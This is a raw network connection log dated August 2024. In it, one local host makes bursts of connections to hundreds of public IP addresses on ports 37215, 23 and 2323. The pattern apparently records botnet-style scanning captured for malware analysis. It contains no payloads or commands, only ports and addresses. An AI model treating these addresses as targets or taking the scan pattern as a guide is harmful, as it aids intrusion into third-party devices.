Aug 17, 2024 01:01:52.566823006 CEST	24911	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:52.566823006 CEST	24911	37215	192.168.2.13	41.135.202.113
Aug 17, 2024 01:01:52.566833973 CEST	44806	23	192.168.2.13	173.52.47.158
Aug 17, 2024 01:01:52.566833973 CEST	24911	37215	192.168.2.13	156.12.134.196
Aug 17, 2024 01:01:52.566833973 CEST	24911	37215	192.168.2.13	197.186.105.8
Aug 17, 2024 01:01:52.566848040 CEST	40096	23	192.168.2.13	109.117.46.234
Aug 17, 2024 01:01:52.566857100 CEST	24911	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:52.566867113 CEST	24911	37215	192.168.2.13	197.166.118.19
Aug 17, 2024 01:01:52.566868067 CEST	24911	37215	192.168.2.13	41.75.226.237
Aug 17, 2024 01:01:52.566869974 CEST	24911	37215	192.168.2.13	197.190.64.27
Aug 17, 2024 01:01:52.566876888 CEST	24911	37215	192.168.2.13	156.141.40.131
Aug 17, 2024 01:01:52.566878080 CEST	24911	37215	192.168.2.13	156.81.112.77
Aug 17, 2024 01:01:52.566891909 CEST	24911	37215	192.168.2.13	41.84.217.81
Aug 17, 2024 01:01:52.566891909 CEST	24911	37215	192.168.2.13	197.93.165.158
Aug 17, 2024 01:01:52.566898108 CEST	24911	37215	192.168.2.13	197.93.59.225
Aug 17, 2024 01:01:52.566900015 CEST	24911	37215	192.168.2.13	197.197.191.30
Aug 17, 2024 01:01:52.566900015 CEST	24911	37215	192.168.2.13	41.203.221.60
Aug 17, 2024 01:01:52.566903114 CEST	24911	37215	192.168.2.13	197.55.107.244
Aug 17, 2024 01:01:52.566903114 CEST	24911	37215	192.168.2.13	41.205.24.112
Aug 17, 2024 01:01:52.566904068 CEST	24911	37215	192.168.2.13	197.184.232.244
Aug 17, 2024 01:01:52.566904068 CEST	24911	37215	192.168.2.13	156.86.145.248
Aug 17, 2024 01:01:52.566906929 CEST	24911	37215	192.168.2.13	156.21.81.137
Aug 17, 2024 01:01:52.566906929 CEST	24911	37215	192.168.2.13	41.44.188.7
Aug 17, 2024 01:01:52.566906929 CEST	24911	37215	192.168.2.13	156.105.254.196
Aug 17, 2024 01:01:52.566916943 CEST	24911	37215	192.168.2.13	41.186.8.10
Aug 17, 2024 01:01:52.566936970 CEST	24911	37215	192.168.2.13	156.37.116.205
Aug 17, 2024 01:01:52.566941023 CEST	2323	59030	171.142.194.161	192.168.2.13
Aug 17, 2024 01:01:52.566946030 CEST	24911	37215	192.168.2.13	41.77.238.9
Aug 17, 2024 01:01:52.566946030 CEST	24911	37215	192.168.2.13	41.105.187.177
Aug 17, 2024 01:01:52.566946030 CEST	24911	37215	192.168.2.13	41.233.122.47
Aug 17, 2024 01:01:52.566953897 CEST	23	45242	176.2.13.220	192.168.2.13
Aug 17, 2024 01:01:52.566956043 CEST	24911	37215	192.168.2.13	41.219.110.69
Aug 17, 2024 01:01:52.566957951 CEST	24911	37215	192.168.2.13	197.148.2.108
Aug 17, 2024 01:01:52.566965103 CEST	24911	37215	192.168.2.13	156.211.231.190
Aug 17, 2024 01:01:52.566965103 CEST	24911	37215	192.168.2.13	197.48.31.41
Aug 17, 2024 01:01:52.566965103 CEST	23	57198	149.34.212.146	192.168.2.13
Aug 17, 2024 01:01:52.566970110 CEST	24911	37215	192.168.2.13	156.122.150.249
Aug 17, 2024 01:01:52.566970110 CEST	24911	37215	192.168.2.13	197.32.214.59
Aug 17, 2024 01:01:52.566976070 CEST	23	38176	150.192.58.244	192.168.2.13
Aug 17, 2024 01:01:52.566978931 CEST	24911	37215	192.168.2.13	197.4.146.79
Aug 17, 2024 01:01:52.566978931 CEST	45242	23	192.168.2.13	176.2.13.220
Aug 17, 2024 01:01:52.566979885 CEST	24911	37215	192.168.2.13	197.159.159.96
Aug 17, 2024 01:01:52.566979885 CEST	24911	37215	192.168.2.13	41.220.205.135
Aug 17, 2024 01:01:52.566982985 CEST	59030	2323	192.168.2.13	171.142.194.161
Aug 17, 2024 01:01:52.566982985 CEST	24911	37215	192.168.2.13	156.75.242.255
Aug 17, 2024 01:01:52.566986084 CEST	23	49834	59.198.15.200	192.168.2.13
Aug 17, 2024 01:01:52.566988945 CEST	24911	37215	192.168.2.13	197.96.162.245
Aug 17, 2024 01:01:52.566994905 CEST	23	38168	155.142.30.24	192.168.2.13
Aug 17, 2024 01:01:52.566998005 CEST	24911	37215	192.168.2.13	197.214.139.137
Aug 17, 2024 01:01:52.567006111 CEST	23	44282	194.118.204.190	192.168.2.13
Aug 17, 2024 01:01:52.567007065 CEST	38176	23	192.168.2.13	150.192.58.244
Aug 17, 2024 01:01:52.567008972 CEST	24911	37215	192.168.2.13	156.222.5.107
Aug 17, 2024 01:01:52.567017078 CEST	23	45476	181.150.39.8	192.168.2.13
Aug 17, 2024 01:01:52.567018032 CEST	49834	23	192.168.2.13	59.198.15.200
Aug 17, 2024 01:01:52.567018986 CEST	24911	37215	192.168.2.13	41.21.246.26
Aug 17, 2024 01:01:52.567019939 CEST	24911	37215	192.168.2.13	156.75.186.246
Aug 17, 2024 01:01:52.567024946 CEST	24911	37215	192.168.2.13	197.234.205.99
Aug 17, 2024 01:01:52.567024946 CEST	57198	23	192.168.2.13	149.34.212.146
Aug 17, 2024 01:01:52.567027092 CEST	23	45052	58.204.35.191	192.168.2.13
Aug 17, 2024 01:01:52.567027092 CEST	24911	37215	192.168.2.13	197.139.83.220
Aug 17, 2024 01:01:52.567035913 CEST	23	37106	4.1.85.72	192.168.2.13
Aug 17, 2024 01:01:52.567039013 CEST	38168	23	192.168.2.13	155.142.30.24
Aug 17, 2024 01:01:52.567039013 CEST	24911	37215	192.168.2.13	41.84.246.252
Aug 17, 2024 01:01:52.567039013 CEST	44282	23	192.168.2.13	194.118.204.190
Aug 17, 2024 01:01:52.567045927 CEST	23	40422	194.195.187.149	192.168.2.13
Aug 17, 2024 01:01:52.567055941 CEST	23	58306	183.202.137.112	192.168.2.13
Aug 17, 2024 01:01:52.567059040 CEST	45476	23	192.168.2.13	181.150.39.8
Aug 17, 2024 01:01:52.567059040 CEST	45052	23	192.168.2.13	58.204.35.191
Aug 17, 2024 01:01:52.567059994 CEST	23	52786	36.194.20.203	192.168.2.13
Aug 17, 2024 01:01:52.567063093 CEST	24911	37215	192.168.2.13	156.235.58.38
Aug 17, 2024 01:01:52.567063093 CEST	24911	37215	192.168.2.13	41.65.213.25
Aug 17, 2024 01:01:52.567064047 CEST	24911	37215	192.168.2.13	156.42.67.215
Aug 17, 2024 01:01:52.567063093 CEST	24911	37215	192.168.2.13	197.215.8.61
Aug 17, 2024 01:01:52.567071915 CEST	37106	23	192.168.2.13	4.1.85.72
Aug 17, 2024 01:01:52.567074060 CEST	23	33212	209.113.116.211	192.168.2.13
Aug 17, 2024 01:01:52.567075968 CEST	24911	37215	192.168.2.13	41.222.83.219
Aug 17, 2024 01:01:52.567080975 CEST	58306	23	192.168.2.13	183.202.137.112
Aug 17, 2024 01:01:52.567081928 CEST	40422	23	192.168.2.13	194.195.187.149
Aug 17, 2024 01:01:52.567087889 CEST	2323	55866	213.126.211.192	192.168.2.13
Aug 17, 2024 01:01:52.567089081 CEST	24911	37215	192.168.2.13	41.20.93.242
Aug 17, 2024 01:01:52.567089081 CEST	24911	37215	192.168.2.13	41.186.130.207
Aug 17, 2024 01:01:52.567089081 CEST	52786	23	192.168.2.13	36.194.20.203
Aug 17, 2024 01:01:52.567096949 CEST	23	53908	124.188.53.248	192.168.2.13
Aug 17, 2024 01:01:52.567106009 CEST	23	57648	204.32.157.249	192.168.2.13
Aug 17, 2024 01:01:52.567116022 CEST	23	34470	181.167.95.85	192.168.2.13
Aug 17, 2024 01:01:52.567116022 CEST	24911	37215	192.168.2.13	197.151.50.43
Aug 17, 2024 01:01:52.567118883 CEST	24911	37215	192.168.2.13	197.178.191.46
Aug 17, 2024 01:01:52.567118883 CEST	55866	2323	192.168.2.13	213.126.211.192
Aug 17, 2024 01:01:52.567120075 CEST	24911	37215	192.168.2.13	156.48.147.157
Aug 17, 2024 01:01:52.567120075 CEST	24911	37215	192.168.2.13	156.32.94.135
Aug 17, 2024 01:01:52.567127943 CEST	23	56268	166.85.104.28	192.168.2.13
Aug 17, 2024 01:01:52.567127943 CEST	33212	23	192.168.2.13	209.113.116.211
Aug 17, 2024 01:01:52.567127943 CEST	53908	23	192.168.2.13	124.188.53.248
Aug 17, 2024 01:01:52.567136049 CEST	57648	23	192.168.2.13	204.32.157.249
Aug 17, 2024 01:01:52.567152023 CEST	24911	37215	192.168.2.13	156.139.38.63
Aug 17, 2024 01:01:52.567152023 CEST	24911	37215	192.168.2.13	156.166.44.39
Aug 17, 2024 01:01:52.567153931 CEST	24911	37215	192.168.2.13	197.29.241.16
Aug 17, 2024 01:01:52.567154884 CEST	34470	23	192.168.2.13	181.167.95.85
Aug 17, 2024 01:01:52.567154884 CEST	56268	23	192.168.2.13	166.85.104.28
Aug 17, 2024 01:01:52.567157984 CEST	24911	37215	192.168.2.13	156.31.135.34
Aug 17, 2024 01:01:52.567163944 CEST	24911	37215	192.168.2.13	197.116.147.152
Aug 17, 2024 01:01:52.567167997 CEST	24911	37215	192.168.2.13	156.49.157.26
Aug 17, 2024 01:01:52.567178965 CEST	24911	37215	192.168.2.13	197.223.217.187
Aug 17, 2024 01:01:52.567188025 CEST	24911	37215	192.168.2.13	41.235.191.38
Aug 17, 2024 01:01:52.567188025 CEST	24911	37215	192.168.2.13	41.60.201.101
Aug 17, 2024 01:01:52.567193985 CEST	24911	37215	192.168.2.13	156.11.180.235
Aug 17, 2024 01:01:52.567198038 CEST	24911	37215	192.168.2.13	41.239.67.63
Aug 17, 2024 01:01:52.567202091 CEST	23	56898	168.101.254.60	192.168.2.13
Aug 17, 2024 01:01:52.567207098 CEST	24911	37215	192.168.2.13	156.201.128.13
Aug 17, 2024 01:01:52.567212105 CEST	24911	37215	192.168.2.13	197.233.139.44
Aug 17, 2024 01:01:52.567213058 CEST	24911	37215	192.168.2.13	197.123.175.70
Aug 17, 2024 01:01:52.567214966 CEST	23	50046	18.165.17.10	192.168.2.13
Aug 17, 2024 01:01:52.567219019 CEST	24911	37215	192.168.2.13	156.161.18.226
Aug 17, 2024 01:01:52.567222118 CEST	24911	37215	192.168.2.13	156.215.58.175
Aug 17, 2024 01:01:52.567224979 CEST	23	49208	20.242.215.34	192.168.2.13
Aug 17, 2024 01:01:52.567233086 CEST	56898	23	192.168.2.13	168.101.254.60
Aug 17, 2024 01:01:52.567234039 CEST	23	47784	202.204.35.137	192.168.2.13
Aug 17, 2024 01:01:52.567244053 CEST	50046	23	192.168.2.13	18.165.17.10
Aug 17, 2024 01:01:52.567249060 CEST	2323	44256	169.73.231.62	192.168.2.13
Aug 17, 2024 01:01:52.567255020 CEST	24911	37215	192.168.2.13	197.64.172.213
Aug 17, 2024 01:01:52.567255020 CEST	24911	37215	192.168.2.13	197.204.222.218
Aug 17, 2024 01:01:52.567256927 CEST	49208	23	192.168.2.13	20.242.215.34
Aug 17, 2024 01:01:52.567267895 CEST	47784	23	192.168.2.13	202.204.35.137
Aug 17, 2024 01:01:52.567270041 CEST	23	53962	192.215.222.250	192.168.2.13
Aug 17, 2024 01:01:52.567280054 CEST	44256	2323	192.168.2.13	169.73.231.62
Aug 17, 2024 01:01:52.567280054 CEST	24911	37215	192.168.2.13	197.105.121.97
Aug 17, 2024 01:01:52.567281008 CEST	23	43288	40.246.137.228	192.168.2.13
Aug 17, 2024 01:01:52.567281008 CEST	24911	37215	192.168.2.13	197.16.191.47
Aug 17, 2024 01:01:52.567292929 CEST	23	55134	171.3.30.208	192.168.2.13
Aug 17, 2024 01:01:52.567296982 CEST	23	45912	145.77.183.183	192.168.2.13
Aug 17, 2024 01:01:52.567301035 CEST	24911	37215	192.168.2.13	197.114.173.62
Aug 17, 2024 01:01:52.567301035 CEST	24911	37215	192.168.2.13	197.149.252.88
Aug 17, 2024 01:01:52.567301035 CEST	24911	37215	192.168.2.13	197.179.203.83
Aug 17, 2024 01:01:52.567301989 CEST	23	33402	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:52.567305088 CEST	24911	37215	192.168.2.13	41.39.61.192
Aug 17, 2024 01:01:52.567305088 CEST	24911	37215	192.168.2.13	197.49.222.5
Aug 17, 2024 01:01:52.567305088 CEST	53962	23	192.168.2.13	192.215.222.250
Aug 17, 2024 01:01:52.567305088 CEST	43288	23	192.168.2.13	40.246.137.228
Aug 17, 2024 01:01:52.567305088 CEST	24911	37215	192.168.2.13	197.213.241.215
Aug 17, 2024 01:01:52.567313910 CEST	23	39208	173.23.173.141	192.168.2.13
Aug 17, 2024 01:01:52.567321062 CEST	55134	23	192.168.2.13	171.3.30.208
Aug 17, 2024 01:01:52.567323923 CEST	45912	23	192.168.2.13	145.77.183.183
Aug 17, 2024 01:01:52.567325115 CEST	23	37526	45.90.72.195	192.168.2.13
Aug 17, 2024 01:01:52.567328930 CEST	24911	37215	192.168.2.13	156.202.165.229
Aug 17, 2024 01:01:52.567328930 CEST	33402	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:52.567334890 CEST	23	41456	41.251.132.244	192.168.2.13
Aug 17, 2024 01:01:52.567337990 CEST	24911	37215	192.168.2.13	197.13.144.63
Aug 17, 2024 01:01:52.567343950 CEST	23	47312	95.176.48.255	192.168.2.13
Aug 17, 2024 01:01:52.567347050 CEST	24911	37215	192.168.2.13	41.204.160.130
Aug 17, 2024 01:01:52.567348003 CEST	39208	23	192.168.2.13	173.23.173.141
Aug 17, 2024 01:01:52.567349911 CEST	24911	37215	192.168.2.13	156.113.253.198
Aug 17, 2024 01:01:52.567349911 CEST	24911	37215	192.168.2.13	41.143.151.154
Aug 17, 2024 01:01:52.567356110 CEST	2323	60844	219.20.203.148	192.168.2.13
Aug 17, 2024 01:01:52.567357063 CEST	37526	23	192.168.2.13	45.90.72.195
Aug 17, 2024 01:01:52.567363024 CEST	41456	23	192.168.2.13	41.251.132.244
Aug 17, 2024 01:01:52.567364931 CEST	23	35294	198.140.203.48	192.168.2.13
Aug 17, 2024 01:01:52.567368984 CEST	24911	37215	192.168.2.13	197.13.69.48
Aug 17, 2024 01:01:52.567369938 CEST	23	42562	48.32.162.155	192.168.2.13
Aug 17, 2024 01:01:52.567373991 CEST	24911	37215	192.168.2.13	41.158.162.71
Aug 17, 2024 01:01:52.567377090 CEST	24911	37215	192.168.2.13	156.237.14.245
Aug 17, 2024 01:01:52.567377090 CEST	24911	37215	192.168.2.13	41.81.103.119
Aug 17, 2024 01:01:52.567379951 CEST	23	34078	101.117.126.208	192.168.2.13
Aug 17, 2024 01:01:52.567382097 CEST	24911	37215	192.168.2.13	41.184.70.24
Aug 17, 2024 01:01:52.567382097 CEST	47312	23	192.168.2.13	95.176.48.255
Aug 17, 2024 01:01:52.567388058 CEST	24911	37215	192.168.2.13	197.39.171.243
Aug 17, 2024 01:01:52.567389965 CEST	24911	37215	192.168.2.13	197.190.197.136
Aug 17, 2024 01:01:52.567389965 CEST	24911	37215	192.168.2.13	41.250.157.218
Aug 17, 2024 01:01:52.567390919 CEST	23	40826	76.177.243.169	192.168.2.13
Aug 17, 2024 01:01:52.567394972 CEST	24911	37215	192.168.2.13	156.145.66.215
Aug 17, 2024 01:01:52.567399979 CEST	24911	37215	192.168.2.13	197.182.154.80
Aug 17, 2024 01:01:52.567399979 CEST	60844	2323	192.168.2.13	219.20.203.148
Aug 17, 2024 01:01:52.567400932 CEST	23	36204	217.84.15.62	192.168.2.13
Aug 17, 2024 01:01:52.567399979 CEST	35294	23	192.168.2.13	198.140.203.48
Aug 17, 2024 01:01:52.567399979 CEST	42562	23	192.168.2.13	48.32.162.155
Aug 17, 2024 01:01:52.567404985 CEST	24911	37215	192.168.2.13	197.86.223.165
Aug 17, 2024 01:01:52.567408085 CEST	24911	37215	192.168.2.13	41.25.151.84
Aug 17, 2024 01:01:52.567409039 CEST	24911	37215	192.168.2.13	41.190.195.7
Aug 17, 2024 01:01:52.567410946 CEST	23	56946	84.81.245.148	192.168.2.13
Aug 17, 2024 01:01:52.567413092 CEST	34078	23	192.168.2.13	101.117.126.208
Aug 17, 2024 01:01:52.567413092 CEST	40826	23	192.168.2.13	76.177.243.169
Aug 17, 2024 01:01:52.567423105 CEST	24911	37215	192.168.2.13	156.130.246.9
Aug 17, 2024 01:01:52.567430973 CEST	24911	37215	192.168.2.13	41.16.238.138
Aug 17, 2024 01:01:52.567437887 CEST	56946	23	192.168.2.13	84.81.245.148
Aug 17, 2024 01:01:52.567440033 CEST	36204	23	192.168.2.13	217.84.15.62
Aug 17, 2024 01:01:52.567452908 CEST	24911	37215	192.168.2.13	41.222.168.101
Aug 17, 2024 01:01:52.567459106 CEST	24911	37215	192.168.2.13	197.135.31.143
Aug 17, 2024 01:01:52.567460060 CEST	24911	37215	192.168.2.13	197.98.205.209
Aug 17, 2024 01:01:52.567462921 CEST	24911	37215	192.168.2.13	197.3.98.103
Aug 17, 2024 01:01:52.567462921 CEST	24911	37215	192.168.2.13	197.52.77.220
Aug 17, 2024 01:01:52.567472935 CEST	24911	37215	192.168.2.13	156.167.185.10
Aug 17, 2024 01:01:52.567480087 CEST	24911	37215	192.168.2.13	156.151.188.26
Aug 17, 2024 01:01:52.567481995 CEST	24911	37215	192.168.2.13	41.215.249.45
Aug 17, 2024 01:01:52.567536116 CEST	24911	37215	192.168.2.13	197.20.171.166
Aug 17, 2024 01:01:52.567538023 CEST	46980	37215	192.168.2.13	197.134.73.170
Aug 17, 2024 01:01:52.567540884 CEST	24911	37215	192.168.2.13	41.202.250.223
Aug 17, 2024 01:01:52.567554951 CEST	43800	37215	192.168.2.13	197.92.245.152
Aug 17, 2024 01:01:52.567576885 CEST	48222	37215	192.168.2.13	197.40.44.56
Aug 17, 2024 01:01:52.567588091 CEST	44734	37215	192.168.2.13	197.253.167.187
Aug 17, 2024 01:01:52.567600965 CEST	60838	37215	192.168.2.13	197.33.40.136
Aug 17, 2024 01:01:52.567610979 CEST	50424	37215	192.168.2.13	41.132.36.23
Aug 17, 2024 01:01:52.567617893 CEST	56340	37215	192.168.2.13	156.199.58.75
Aug 17, 2024 01:01:52.567625046 CEST	47022	37215	192.168.2.13	156.4.205.159
Aug 17, 2024 01:01:52.567625046 CEST	46618	37215	192.168.2.13	41.200.206.226
Aug 17, 2024 01:01:52.567650080 CEST	39342	37215	192.168.2.13	197.192.68.27
Aug 17, 2024 01:01:52.567662954 CEST	42236	37215	192.168.2.13	156.146.125.170
Aug 17, 2024 01:01:52.567675114 CEST	56092	37215	192.168.2.13	41.169.106.62
Aug 17, 2024 01:01:52.567689896 CEST	37018	37215	192.168.2.13	41.176.244.148
Aug 17, 2024 01:01:52.567698002 CEST	51226	37215	192.168.2.13	197.253.171.12
Aug 17, 2024 01:01:52.567734957 CEST	59014	37215	192.168.2.13	156.160.188.179
Aug 17, 2024 01:01:52.567734957 CEST	37704	37215	192.168.2.13	197.203.217.254
Aug 17, 2024 01:01:52.567754984 CEST	46494	37215	192.168.2.13	197.4.25.105
Aug 17, 2024 01:01:52.567755938 CEST	59544	37215	192.168.2.13	197.172.37.162
Aug 17, 2024 01:01:52.567759991 CEST	38770	37215	192.168.2.13	156.119.14.193
Aug 17, 2024 01:01:52.567775965 CEST	52246	37215	192.168.2.13	197.64.116.109
Aug 17, 2024 01:01:52.567784071 CEST	42792	37215	192.168.2.13	41.24.191.230
Aug 17, 2024 01:01:52.567785978 CEST	23	56776	135.86.232.69	192.168.2.13
Aug 17, 2024 01:01:52.567800045 CEST	23	41210	195.155.11.98	192.168.2.13
Aug 17, 2024 01:01:52.567800999 CEST	52930	37215	192.168.2.13	41.129.13.215
Aug 17, 2024 01:01:52.567811012 CEST	2323	35200	27.218.54.120	192.168.2.13
Aug 17, 2024 01:01:52.567820072 CEST	23	45174	1.173.112.28	192.168.2.13
Aug 17, 2024 01:01:52.567826986 CEST	56776	23	192.168.2.13	135.86.232.69
Aug 17, 2024 01:01:52.567826986 CEST	45018	37215	192.168.2.13	156.162.192.34
Aug 17, 2024 01:01:52.567826986 CEST	44806	37215	192.168.2.13	156.42.44.35
Aug 17, 2024 01:01:52.567826986 CEST	41210	23	192.168.2.13	195.155.11.98
Aug 17, 2024 01:01:52.567830086 CEST	23	59770	89.70.84.0	192.168.2.13
Aug 17, 2024 01:01:52.567833900 CEST	23	34250	35.127.143.137	192.168.2.13
Aug 17, 2024 01:01:52.567835093 CEST	46026	37215	192.168.2.13	41.180.77.119
Aug 17, 2024 01:01:52.567838907 CEST	35200	2323	192.168.2.13	27.218.54.120
Aug 17, 2024 01:01:52.567852974 CEST	56200	37215	192.168.2.13	41.252.234.209
Aug 17, 2024 01:01:52.567862988 CEST	58762	37215	192.168.2.13	197.89.192.144
Aug 17, 2024 01:01:52.567866087 CEST	23	54272	92.8.87.90	192.168.2.13
Aug 17, 2024 01:01:52.567869902 CEST	34250	23	192.168.2.13	35.127.143.137
Aug 17, 2024 01:01:52.567877054 CEST	23	40832	53.167.7.198	192.168.2.13
Aug 17, 2024 01:01:52.567878008 CEST	59770	23	192.168.2.13	89.70.84.0
Aug 17, 2024 01:01:52.567886114 CEST	23	52352	203.83.134.25	192.168.2.13
Aug 17, 2024 01:01:52.567887068 CEST	45174	23	192.168.2.13	1.173.112.28
Aug 17, 2024 01:01:52.567887068 CEST	52922	37215	192.168.2.13	197.239.232.194
Aug 17, 2024 01:01:52.567887068 CEST	50714	37215	192.168.2.13	41.52.224.118
Aug 17, 2024 01:01:52.567894936 CEST	23	42476	119.98.248.85	192.168.2.13
Aug 17, 2024 01:01:52.567898035 CEST	54272	23	192.168.2.13	92.8.87.90
Aug 17, 2024 01:01:52.567899942 CEST	59300	37215	192.168.2.13	197.129.1.124
Aug 17, 2024 01:01:52.567905903 CEST	2323	32786	146.214.7.37	192.168.2.13
Aug 17, 2024 01:01:52.567914963 CEST	23	57364	108.4.166.181	192.168.2.13
Aug 17, 2024 01:01:52.567919016 CEST	23	46326	45.252.104.150	192.168.2.13
Aug 17, 2024 01:01:52.567920923 CEST	52352	23	192.168.2.13	203.83.134.25
Aug 17, 2024 01:01:52.567926884 CEST	23	38234	82.39.208.216	192.168.2.13
Aug 17, 2024 01:01:52.567935944 CEST	40832	23	192.168.2.13	53.167.7.198
Aug 17, 2024 01:01:52.567938089 CEST	42476	23	192.168.2.13	119.98.248.85
Aug 17, 2024 01:01:52.567944050 CEST	57364	23	192.168.2.13	108.4.166.181
Aug 17, 2024 01:01:52.567946911 CEST	23	53656	157.13.139.85	192.168.2.13
Aug 17, 2024 01:01:52.567951918 CEST	23	49192	220.148.198.90	192.168.2.13
Aug 17, 2024 01:01:52.567956924 CEST	23	51794	157.146.213.142	192.168.2.13
Aug 17, 2024 01:01:52.567962885 CEST	46326	23	192.168.2.13	45.252.104.150
Aug 17, 2024 01:01:52.567964077 CEST	38234	23	192.168.2.13	82.39.208.216
Aug 17, 2024 01:01:52.567966938 CEST	23	56262	156.83.56.26	192.168.2.13
Aug 17, 2024 01:01:52.567970991 CEST	60216	37215	192.168.2.13	41.160.80.78
Aug 17, 2024 01:01:52.567984104 CEST	23	33780	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:52.567985058 CEST	49192	23	192.168.2.13	220.148.198.90
Aug 17, 2024 01:01:52.567985058 CEST	53656	23	192.168.2.13	157.13.139.85
Aug 17, 2024 01:01:52.567985058 CEST	51794	23	192.168.2.13	157.146.213.142
Aug 17, 2024 01:01:52.567994118 CEST	23	49598	43.46.236.6	192.168.2.13
Aug 17, 2024 01:01:52.568001032 CEST	32786	2323	192.168.2.13	146.214.7.37
Aug 17, 2024 01:01:52.568005085 CEST	56262	23	192.168.2.13	156.83.56.26
Aug 17, 2024 01:01:52.568006039 CEST	57240	37215	192.168.2.13	156.94.26.172
Aug 17, 2024 01:01:52.568007946 CEST	23	60428	23.218.46.182	192.168.2.13
Aug 17, 2024 01:01:52.568008900 CEST	33780	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:52.568027973 CEST	48200	37215	192.168.2.13	156.251.150.222
Aug 17, 2024 01:01:52.568031073 CEST	60428	23	192.168.2.13	23.218.46.182
Aug 17, 2024 01:01:52.568039894 CEST	2323	50396	142.212.219.206	192.168.2.13
Aug 17, 2024 01:01:52.568048954 CEST	23	45354	57.222.118.50	192.168.2.13
Aug 17, 2024 01:01:52.568052053 CEST	45982	37215	192.168.2.13	156.213.139.78
Aug 17, 2024 01:01:52.568061113 CEST	23	52414	221.45.98.62	192.168.2.13
Aug 17, 2024 01:01:52.568062067 CEST	33098	37215	192.168.2.13	156.80.9.191
Aug 17, 2024 01:01:52.568069935 CEST	23	56182	186.206.102.20	192.168.2.13
Aug 17, 2024 01:01:52.568072081 CEST	49598	23	192.168.2.13	43.46.236.6
Aug 17, 2024 01:01:52.568072081 CEST	50396	2323	192.168.2.13	142.212.219.206
Aug 17, 2024 01:01:52.568072081 CEST	45354	23	192.168.2.13	57.222.118.50
Aug 17, 2024 01:01:52.568078995 CEST	23	36354	92.26.148.44	192.168.2.13
Aug 17, 2024 01:01:52.568085909 CEST	52414	23	192.168.2.13	221.45.98.62
Aug 17, 2024 01:01:52.568087101 CEST	47962	37215	192.168.2.13	41.57.212.72
Aug 17, 2024 01:01:52.568087101 CEST	23	60794	195.145.189.255	192.168.2.13
Aug 17, 2024 01:01:52.568097115 CEST	23	59570	92.247.201.5	192.168.2.13
Aug 17, 2024 01:01:52.568101883 CEST	56182	23	192.168.2.13	186.206.102.20
Aug 17, 2024 01:01:52.568105936 CEST	23	41242	112.33.163.19	192.168.2.13
Aug 17, 2024 01:01:52.568108082 CEST	36354	23	192.168.2.13	92.26.148.44
Aug 17, 2024 01:01:52.568115950 CEST	23	39876	152.79.67.55	192.168.2.13
Aug 17, 2024 01:01:52.568120003 CEST	60794	23	192.168.2.13	195.145.189.255
Aug 17, 2024 01:01:52.568125963 CEST	23	60506	18.103.104.157	192.168.2.13
Aug 17, 2024 01:01:52.568129063 CEST	59570	23	192.168.2.13	92.247.201.5
Aug 17, 2024 01:01:52.568129063 CEST	41242	23	192.168.2.13	112.33.163.19
Aug 17, 2024 01:01:52.568136930 CEST	23	36216	181.142.212.10	192.168.2.13
Aug 17, 2024 01:01:52.568145037 CEST	37878	37215	192.168.2.13	197.82.116.206
Aug 17, 2024 01:01:52.568149090 CEST	39876	23	192.168.2.13	152.79.67.55
Aug 17, 2024 01:01:52.568150043 CEST	36616	37215	192.168.2.13	197.55.145.114
Aug 17, 2024 01:01:52.568161011 CEST	60506	23	192.168.2.13	18.103.104.157
Aug 17, 2024 01:01:52.568175077 CEST	36216	23	192.168.2.13	181.142.212.10
Aug 17, 2024 01:01:52.568181038 CEST	59602	37215	192.168.2.13	197.118.35.21
Aug 17, 2024 01:01:52.568181992 CEST	58866	37215	192.168.2.13	197.134.170.20
Aug 17, 2024 01:01:52.568193913 CEST	46058	37215	192.168.2.13	156.18.66.116
Aug 17, 2024 01:01:52.568203926 CEST	2323	36600	83.87.2.47	192.168.2.13
Aug 17, 2024 01:01:52.568212986 CEST	38044	37215	192.168.2.13	156.176.121.224
Aug 17, 2024 01:01:52.568217039 CEST	23	49312	62.194.138.32	192.168.2.13
Aug 17, 2024 01:01:52.568226099 CEST	43442	37215	192.168.2.13	156.63.134.230
Aug 17, 2024 01:01:52.568228960 CEST	23	53006	192.113.124.63	192.168.2.13
Aug 17, 2024 01:01:52.568239927 CEST	23	45736	135.103.89.36	192.168.2.13
Aug 17, 2024 01:01:52.568243027 CEST	53224	37215	192.168.2.13	41.198.63.23
Aug 17, 2024 01:01:52.568243027 CEST	36600	2323	192.168.2.13	83.87.2.47
Aug 17, 2024 01:01:52.568247080 CEST	49312	23	192.168.2.13	62.194.138.32
Aug 17, 2024 01:01:52.568247080 CEST	56484	37215	192.168.2.13	41.53.245.116
Aug 17, 2024 01:01:52.568250895 CEST	23	39910	31.65.44.75	192.168.2.13
Aug 17, 2024 01:01:52.568259001 CEST	53006	23	192.168.2.13	192.113.124.63
Aug 17, 2024 01:01:52.568262100 CEST	23	48172	107.42.116.50	192.168.2.13
Aug 17, 2024 01:01:52.568267107 CEST	45736	23	192.168.2.13	135.103.89.36
Aug 17, 2024 01:01:52.568281889 CEST	23	44616	194.77.25.28	192.168.2.13
Aug 17, 2024 01:01:52.568281889 CEST	39910	23	192.168.2.13	31.65.44.75
Aug 17, 2024 01:01:52.568289042 CEST	48172	23	192.168.2.13	107.42.116.50
Aug 17, 2024 01:01:52.568291903 CEST	38398	37215	192.168.2.13	41.154.52.102
Aug 17, 2024 01:01:52.568303108 CEST	23	60918	83.213.89.227	192.168.2.13
Aug 17, 2024 01:01:52.568310976 CEST	42862	37215	192.168.2.13	41.228.69.41
Aug 17, 2024 01:01:52.568314075 CEST	44616	23	192.168.2.13	194.77.25.28
Aug 17, 2024 01:01:52.568322897 CEST	23	58376	27.241.55.196	192.168.2.13
Aug 17, 2024 01:01:52.568325043 CEST	50954	37215	192.168.2.13	41.20.173.91
Aug 17, 2024 01:01:52.568334103 CEST	23	49384	154.207.81.89	192.168.2.13
Aug 17, 2024 01:01:52.568341017 CEST	44326	37215	192.168.2.13	197.33.248.216
Aug 17, 2024 01:01:52.568347931 CEST	60918	23	192.168.2.13	83.213.89.227
Aug 17, 2024 01:01:52.568350077 CEST	47510	37215	192.168.2.13	156.6.188.205
Aug 17, 2024 01:01:52.568351030 CEST	58376	23	192.168.2.13	27.241.55.196
Aug 17, 2024 01:01:52.568356991 CEST	23	42246	176.36.28.227	192.168.2.13
Aug 17, 2024 01:01:52.568367004 CEST	49384	23	192.168.2.13	154.207.81.89
